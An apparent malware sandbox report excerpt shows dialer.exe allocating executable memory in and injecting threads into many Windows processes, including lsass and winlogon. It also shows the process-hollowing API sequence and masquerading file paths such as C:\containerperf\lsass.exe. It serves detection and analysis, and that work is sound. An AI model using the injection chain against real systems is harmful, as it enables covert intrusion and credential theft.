Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 1390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F49DCF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20AF95B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 24EBE490000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1F5E7FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 26F6BA40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20B657E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28453480000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\twain_32.exe base: 24B34510000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 216AAA70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1AFC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1D4EDD40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 13ACAE60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\lsass.exe base: BA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\lsass.exe base: 1330000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\schtasks.exe base: 1ACD1120000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\lsass.exe base: B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\schtasks.exe base: 1BB84960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\lsass.exe base: BA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 18FB6560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 27F1A600000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1ECA8620000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1A77D1E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C6117C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 27614EA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15F733A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2D365CB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 11840E70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C67E130000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 24CF8170000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CD66020000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 213113F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1D211960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 25F1BEF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 18FB8360000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2047E150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CDF37F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2C34E3F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C611AB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15038510000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1D92BF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CDF3910000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1FB26780000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15038560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1742D060000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 294ABE90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: 770000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 21442D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1742D180000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 14DDD380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 278B1D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 244424C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 21442FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1BE168A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 7D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 278B1EA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 244424F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 12615CC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 255036C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1F56B300000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28115FE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 1190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1C1574B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2B5675A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2185C8F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1C14D340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 25402690000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 25CD1C10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 11C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 195DDA30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 195DDC50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1E984CE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\schtasks.exe base: 193F0F20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 19D83000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Google\Chrome\updater.exe base: 27E70890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Google\Chrome\updater.exe base: 27E708C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\chcp.com base: 1FD689F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\chcp.com base: 1FD68A40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: F00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1030000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1670000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\w32tm.exe base: 216AC280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\w32tm.exe base: 216AC3A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: B80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: A00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: F00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\consent.exe base: 17C74420000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\consent.exe base: 17C76250000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1AEDEAC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1AEDEBE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: 790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 15931960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: 1BB00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\lsass.exe base: 1510000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\lsass.exe base: 1D750000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 780000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 1BB80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\consent.exe base: 1617D4E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\consent.exe base: 1617D540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1F1A78A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1F1A7900000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 900000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1C8B5AB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\Platform\sihost.exe base: 10B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1410000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1C810000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 21154530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 21154810000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\consent.exe base: 1B71D230000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\consent.exe base: 1B71D810000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 201FF280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1550000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 201FF410000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1E314900000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1CA40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: 11D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\appcompat\powershell.exe base: 19D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1B988570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 258801A0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 20_2_00007FF603B01DB4 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

20_2_00007FF603B01DB4

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC612908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AEF82908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87992908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 53772908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D532908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B382908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EBFD2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 59042908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9E72908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 73162908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4E862908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 473C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6F9D2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 83BC2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D3F72908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A4152908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BDF32908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C0262908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C9F32908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 645B2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B2A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4F62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2AB42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ADB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1992908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25DA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F5352908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0D62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FFB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C2572908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8BCF2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66962908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13EF2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D572908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69B42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC742908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5DA72908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199D2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F3892908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6532908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29CC2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B152908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 621A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F482908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B4B2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 683D2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1392908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2E262908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6C5E2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D5932908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC652908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 78742908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 33B42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D0A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB4C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2A642908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CF32908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 49352908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 60DB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E7B2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F7C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E8152908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 52342908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DA92908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 602E2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DCF2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F95B2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BE492908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E7FA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6BA42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 657E2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53482908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 34512908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AAA72908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1AFC2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\conhost.exe EIP: CAE62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1332908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D1122908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B52908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B6562908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1A602908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A8622908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D1E2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 117C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 14EA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 733A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 65CB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E72908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7E132908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F8172908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66022908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 113F2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 11962908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1BEF2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B8362908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7E152908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F37F2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4E3F2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 11AB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 38512908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2BF32908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F3912908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 26782908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 38562908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2D062908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ABE92908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 772908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 42D82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2D182908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DD382908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B1D82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 424C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 42FA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 168A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B1EA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 15CC2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 36C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6B302908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 15FE2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1192908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 574B2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 675A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4D342908
